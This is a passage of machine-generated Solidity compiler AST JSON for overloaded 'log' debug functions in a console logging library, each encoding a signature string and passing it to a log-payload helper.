scriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23258,"name":"bool","nodeType":"ElementaryTypeName","src":"62750:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23261,"mutability":"mutable","name":"p3","nameLocation":"62767:2:14","nodeType":"VariableDeclaration","scope":23276,"src":"62759:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23260,"name":"address","nodeType":"ElementaryTypeName","src":"62759:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"62728:42:14"},"returnParameters":{"id":23263,"nodeType":"ParameterList","parameters":[],"src":"62785:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23299,"nodeType":"FunctionDefinition","src":"62898:176:14","nodes":[],"body":{"id":23298,"nodeType":"Block","src":"62967:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c75696e7429","id":23290,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63017:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dc7116d2e67ccd625262e6814a6f82f2367beea9919409c81fcbb94bea1b6b84","typeString":"literal_string \"log(address,bool,address,uint)\""},"value":"log(address,bool,address,uint)"},{"id":23291,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23278,"src":"63051:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23292,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23280,"src":"63055:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23293,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23282,"src":"63059:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23294,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23284,"src":"63063:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dc7116d2e67ccd625262e6814a6f82f2367beea9919409c81fcbb94bea1b6b84","typeString":"literal_string \"log(address,bool,address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23288,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"62993:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23289,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"62997:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"62993:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62993:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23287,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"62977:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23296,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"62977:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23297,"nodeType":"ExpressionStatement","src":"62977:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62907:3:14","parameters":{"id":23285,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23278,"mutability":"mutable","name":"p0","nameLocation":"62919:2:14","nodeType":"VariableDeclaration","scope":23299,"src":"62911:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23277,"name":"address","nodeType":"ElementaryTypeName","src":"62911:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23280,"mutability":"mutable","name":"p1","nameLocation":"62928:2:14","nodeType":"VariableDeclaration","scope":23299,"src":"62923:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23279,"name":"bool","nodeType":"ElementaryTypeName","src":"62923:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23282,"mutability":"mutable","name":"p2","nameLocation":"62940:2:14","nodeType":"VariableDeclaration","scope":23299,"src":"62932:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23281,"name":"address","nodeType":"ElementaryTypeName","src":"62932:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23284,"mutability":"mutable","name":"p3","nameLocation":"62949:2:14","nodeType":"VariableDeclaration","scope":23299,"src":"62944:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23283,"name":"uint","nodeType":"ElementaryTypeName","src":"62944:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"62910:42:14"},"returnParameters":{"id":23286,"nodeType":"ParameterList","parameters":[],"src":"62967:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23322,"nodeType":"FunctionDefinition","src":"63080:187:14","nodes":[],"body":{"id":23321,"nodeType":"Block","src":"63158:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c737472696e6729","id":23313,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63208:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2dd778e616be9386b5911da1a074bbaf979640681783fca6396ea75c8caf6453","typeString":"literal_string \"log(address,bool,address,string)\""},"value":"log(address,bool,address,string)"},{"id":23314,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23301,"src":"63244:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23315,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23303,"src":"63248:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23316,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23305,"src":"63252:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23317,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23307,"src":"63256:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2dd778e616be9386b5911da1a074bbaf979640681783fca6396ea75c8caf6453","typeString":"literal_string \"log(address,bool,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23311,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63184:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23312,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63188:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63184:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63184:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23310,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"63168:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23319,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63168:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23320,"nodeType":"ExpressionStatement","src":"63168:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63089:3:14","parameters":{"id":23308,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23301,"mutability":"mutable","name":"p0","nameLocation":"63101:2:14","nodeType":"VariableDeclaration","scope":23322,"src":"63093:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23300,"name":"address","nodeType":"ElementaryTypeName","src":"63093:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23303,"mutability":"mutable","name":"p1","nameLocation":"63110:2:14","nodeType":"VariableDeclaration","scope":23322,"src":"63105:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23302,"name":"bool","nodeType":"ElementaryTypeName","src":"63105:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23305,"mutability":"mutable","name":"p2","nameLocation":"63122:2:14","nodeType":"VariableDeclaration","scope":23322,"src":"63114:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23304,"name":"address","nodeType":"ElementaryTypeName","src":"63114:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23307,"mutability":"mutable","name":"p3","nameLocation":"63140:2:14","nodeType":"VariableDeclaration","scope":23322,"src":"63126:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23306,"name":"string","nodeType":"ElementaryTypeName","src":"63126:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63092:51:14"},"returnParameters":{"id":23309,"nodeType":"ParameterList","parameters":[],"src":"63158:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23345,"nodeType":"FunctionDefinition","src":"63273:176:14","nodes":[],"body":{"id":23344,"nodeType":"Block","src":"63342:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c626f6f6c29","id":23336,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63392:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a6f50b0f122c916fe81861751b94bdddb5e453947768e8af206397bb510790b1","typeString":"literal_string \"log(address,bool,address,bool)\""},"value":"log(address,bool,address,bool)"},{"id":23337,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23324,"src":"63426:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23338,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23326,"src":"63430:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23339,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23328,"src":"63434:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23340,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23330,"src":"63438:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a6f50b0f122c916fe81861751b94bdddb5e453947768e8af206397bb510790b1","typeString":"literal_string \"log(address,bool,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23334,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63368:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23335,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63372:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63368:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23341,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63368:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23333,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"63352:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63352:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23343,"nodeType":"ExpressionStatement","src":"63352:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63282:3:14","parameters":{"id":23331,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23324,"mutability":"mutable","name":"p0","nameLocation":"63294:2:14","nodeType":"VariableDeclaration","scope":23345,"src":"63286:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23323,"name":"address","nodeType":"ElementaryTypeName","src":"63286:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23326,"mutability":"mutable","name":"p1","nameLocation":"63303:2:14","nodeType":"VariableDeclaration","scope":23345,"src":"63298:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23325,"name":"bool","nodeType":"ElementaryTypeName","src":"63298:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23328,"mutability":"mutable","name":"p2","nameLocation":"63315:2:14","nodeType":"VariableDeclaration","scope":23345,"src":"63307:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23327,"name":"address","nodeType":"ElementaryTypeName","src":"63307:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23330,"mutability":"mutable","name":"p3","nameLocation":"63324:2:14","nodeType":"VariableDeclaration","scope":23345,"src":"63319:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23329,"name":"bool","nodeType":"ElementaryTypeName","src":"63319:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63285:42:14"},"returnParameters":{"id":23332,"nodeType":"ParameterList","parameters":[],"src":"63342:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23368,"nodeType":"FunctionDefinition","src":"63455:182:14","nodes":[],"body":{"id":23367,"nodeType":"Block","src":"63527:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c616464726573732c6164647265737329","id":23359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63577:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_660375ddb58761b4ce952ec7e1ae63efe9f8e9e69831fd72875968fec9046e35","typeString":"literal_string \"log(address,bool,address,address)\""},"value":"log(address,bool,address,address)"},{"id":23360,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23347,"src":"63614:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23361,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23349,"src":"63618:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23362,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23351,"src":"63622:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23363,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23353,"src":"63626:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_660375ddb58761b4ce952ec7e1ae63efe9f8e9e69831fd72875968fec9046e35","typeString":"literal_string \"log(address,bool,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23357,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63553:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23358,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63557:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63553:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63553:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23356,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"63537:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63537:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23366,"nodeType":"ExpressionStatement","src":"63537:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63464:3:14","parameters":{"id":23354,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23347,"mutability":"mutable","name":"p0","nameLocation":"63476:2:14","nodeType":"VariableDeclaration","scope":23368,"src":"63468:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23346,"name":"address","nodeType":"ElementaryTypeName","src":"63468:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23349,"mutability":"mutable","name":"p1","nameLocation":"63485:2:14","nodeType":"VariableDeclaration","scope":23368,"src":"63480:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23348,"name":"bool","nodeType":"ElementaryTypeName","src":"63480:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23351,"mutability":"mutable","name":"p2","nameLocation":"63497:2:14","nodeType":"VariableDeclaration","scope":23368,"src":"63489:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23350,"name":"address","nodeType":"ElementaryTypeName","src":"63489:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23353,"mutability":"mutable","name":"p3","nameLocation":"63509:2:14","nodeType":"VariableDeclaration","scope":23368,"src":"63501:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23352,"name":"address","nodeType":"ElementaryTypeName","src":"63501:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"63467:45:14"},"returnParameters":{"id":23355,"nodeType":"ParameterList","parameters":[],"src":"63527:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23391,"nodeType":"FunctionDefinition","src":"63643:176:14","nodes":[],"body":{"id":23390,"nodeType":"Block","src":"63712:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e742c75696e7429","id":23382,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63762:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_54fdf3e4fb94f9bebc9a1c60d5b71090f9817e68730b5af20b69dff283044ed6","typeString":"literal_string \"log(address,address,uint,uint)\""},"value":"log(address,address,uint,uint)"},{"id":23383,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23370,"src":"63796:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23384,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23372,"src":"63800:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23385,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23374,"src":"63804:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23386,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23376,"src":"63808:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_54fdf3e4fb94f9bebc9a1c60d5b71090f9817e68730b5af20b69dff283044ed6","typeString":"literal_string \"log(address,address,uint,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23380,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63738:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23381,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63742:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63738:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63738:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23379,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"63722:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23388,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63722:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23389,"nodeType":"ExpressionStatement","src":"63722:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63652:3:14","parameters":{"id":23377,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23370,"mutability":"mutable","name":"p0","nameLocation":"63664:2:14","nodeType":"VariableDeclaration","scope":23391,"src":"63656:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23369,"name":"address","nodeType":"ElementaryTypeName","src":"63656:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23372,"mutability":"mutable","name":"p1","nameLocation":"63676:2:14","nodeType":"VariableDeclaration","scope":23391,"src":"63668:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23371,"name":"address","nodeType":"ElementaryTypeName","src":"63668:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23374,"mutability":"mutable","name":"p2","nameLocation":"63685:2:14","nodeType":"VariableDeclaration","scope":23391,"src":"63680:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23373,"name":"uint","nodeType":"ElementaryTypeName","src":"63680:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23376,"mutability":"mutable","name":"p3","nameLocation":"63694:2:14","nodeType":"VariableDeclaration","scope":23391,"src":"63689:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23375,"name":"uint","nodeType":"ElementaryTypeName","src":"63689:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"63655:42:14"},"returnParameters":{"id":23378,"nodeType":"ParameterList","parameters":[],"src":"63712:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23414,"nodeType":"FunctionDefinition","src":"63825:187:14","nodes":[],"body":{"id":23413,"nodeType":"Block","src":"63903:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e742c737472696e6729","id":23405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"63953:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9dd12eadc51edb79b050f95e9310706b305e500a52025b74b024df3cbcb53815","typeString":"literal_string \"log(address,address,uint,string)\""},"value":"log(address,address,uint,string)"},{"id":23406,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23393,"src":"63989:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23407,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23395,"src":"63993:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23408,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23397,"src":"63997:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23409,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23399,"src":"64001:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9dd12eadc51edb79b050f95e9310706b305e500a52025b74b024df3cbcb53815","typeString":"literal_string \"log(address,address,uint,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 